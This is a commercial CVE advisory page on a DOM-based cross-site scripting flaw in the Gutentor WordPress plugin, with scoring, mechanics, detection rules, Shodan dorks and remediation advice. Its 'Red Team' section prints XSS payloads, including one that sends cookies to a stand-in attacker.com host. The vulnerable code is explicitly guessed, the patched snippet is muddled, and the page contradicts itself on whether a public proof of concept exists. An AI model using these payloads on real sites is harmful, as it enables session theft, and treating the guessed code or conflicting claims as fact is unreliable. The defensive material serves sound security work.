☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Gutentor logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-22293

CVE-2025-22293 Cross-Site Scripting in Gutentor
📅 PUBLISHED: 2025-01-07 11:15 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.15%
👁️
0.15% probability
3.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-22293 is a DOM-Based Cross-Site Scripting (XSS) vulnerability identified in the Gutentor WordPress plugin, affecting versions up to and including 3.4.3. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject malicious scripts that execute in the context of a victim's browser. This flaw is particularly dangerous in the WordPress ecosystem because it can be exploited without server-side validation, relying on client-side DOM manipulation. The CVSS score of 6.5 (Medium) reflects the need for user interaction but underscores the potential for data theft, session hijacking, and defacement. As of this report, no official patch has been released, and no public proof-of-concept (PoC) or exploit code is available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the Gutentor WordPress plugin, which is distributed via the official WordPress plugin repository and third-party marketplaces. Since the plugin is a component of the WordPress supply chain, any site running an affected version is at risk. The lack of a patch means that site administrators must rely on manual mitigation or temporary workarounds. The plugin's popularity and widespread use increase the attack surface, making it a prime target for automated scanning and exploitation.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
  • Base Score: 6.5 (Medium)
  • Attack Vector (AV): Network – The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low – No special conditions are required.
  • Privileges Required (PR): None – No authentication needed.
  • User Interaction (UI): Required – The victim must click a crafted link or visit a malicious page.
  • Scope (S): Changed – The impact extends beyond the vulnerable component.
  • Confidentiality (C): Low – Limited data exposure.
  • Integrity (I): Low – Limited ability to modify content.
  • Availability (A): Low – Limited impact on service availability.

Threat Level: Medium. The requirement for user interaction reduces the likelihood of automated exploitation, but the vulnerability's DOM-based nature makes it stealthy and difficult to detect via traditional server-side logs.

Deep Dive & Mechanics

The vulnerability resides in the Gutentor plugin's JavaScript code, which processes user input from the DOM (e.g., URL parameters, form fields, or stored data) and injects it into the page without proper sanitization. Specifically, the plugin uses innerHTML or similar DOM manipulation methods to render content, allowing an attacker to inject arbitrary HTML and JavaScript.

Attack Flow:

  1. An attacker crafts a malicious URL containing a payload in a query parameter (e.g., ?gntr=<script>alert(1)</script>).
  2. The victim clicks the link or visits a page where the plugin processes the parameter.
  3. The plugin's JavaScript reads the parameter value and inserts it into the DOM without sanitization.
  4. The injected script executes in the victim's browser, enabling actions such as cookie theft, keylogging, or redirection.

Root Cause: The plugin fails to use safe DOM APIs (e.g., textContent instead of innerHTML) and does not encode or validate input before rendering.

Vulnerable vs. Patched Code

Since no patch is available, the following comparison is based on expected secure coding practices.

Vulnerable Code (Gutentor <= 3.4.3):

// Example of vulnerable DOM manipulation
var userInput = new URLSearchParams(window.location.search).get('gntr');
document.getElementById('gutentor-container').innerHTML = userInput;

Patched Code (Expected):

// Secure version using textContent and input validation
var userInput = new URLSearchParams(window.location.search).get('gntr');
var sanitizedInput = DOMPurify.sanitize(userInput);
document.getElementById('gutentor-container').textContent = sanitizedInput;

The patched version uses textContent to prevent HTML injection and applies DOMPurify for additional sanitization.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress site running Gutentor <= 3.4.3.
  • A victim with JavaScript enabled.

Exploitation Steps:

  1. Identify a page that uses the Gutentor plugin and accepts user input via URL parameters.
  2. Craft a malicious URL:
    https://victim-site.com/?gntr=<img src=x onerror=alert(document.cookie)>
    
  3. Send the link to the victim via phishing email, social media, or other channels.
  4. When the victim clicks the link, the script executes, exfiltrating cookies or performing other actions.

Example Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Detection & Defense)

Detection:

  • Monitor web server logs for unusual URL parameters containing <script>, <img>, or other HTML tags.
  • Use browser-based security headers (e.g., Content-Security-Policy) to block inline scripts.
  • Deploy a Web Application Firewall (WAF) with rules to detect XSS patterns.

Defense:

  • Temporarily disable the Gutentor plugin until a patch is available.
  • Implement a Content Security Policy (CSP) that restricts script execution:
    Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
    
  • Use a security plugin (e.g., Wordfence) to block malicious requests.

Indicators of Compromise (IOCs)

  • URL Patterns: Requests containing ?gntr= followed by HTML/JavaScript code.
  • Log Entries: HTTP requests with parameters like gntr=<script> or gntr=<img>.
  • Client-Side Artifacts: Unusual DOM modifications or unexpected script execution in the browser console.
  • Network Traffic: Outbound connections to unknown domains from the victim's browser.

Detection Engineering

YARA Rule

rule CVE_2025_22293_Gutentor_DOM_XSS {
    meta:
        description = "Detects malicious payloads targeting CVE-2025-22293 in Gutentor plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22293"
    strings:
        $payload1 = /[?&]gntr=.*<script/i
        $payload2 = /[?&]gntr=.*<img[^>]+onerror/i
        $payload3 = /[?&]gntr=.*<svg[^>]+onload/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-22293 Gutentor DOM-Based XSS Detection
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with malicious parameters targeting Gutentor plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '?gntr=<script'
            - '?gntr=<img'
            - '?gntr=<svg'
    condition: selection
falsepositives:
    - Legitimate use of HTML in parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-22293 Gutentor DOM XSS Attempt"; flow:to_server; content:"?gntr="; nocase; pcre:"/[?&]gntr=.*<script/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Gutentor plugin until a patched version is released.
  2. Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
  3. Add a Content Security Policy (CSP) header to mitigate script execution.

Long-Term Fix:

  • Monitor the Gutentor plugin repository for an official patch.
  • Once patched, update to the latest version immediately.
  • Conduct a security audit of all WordPress plugins to identify similar vulnerabilities.

Workaround:

  • If disabling the plugin is not possible, use a security plugin (e.g., Wordfence) to block malicious parameters.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"gutentor"
http.title:"Gutentor"
http.html:"wp-content/plugins/gutentor"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-22293/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.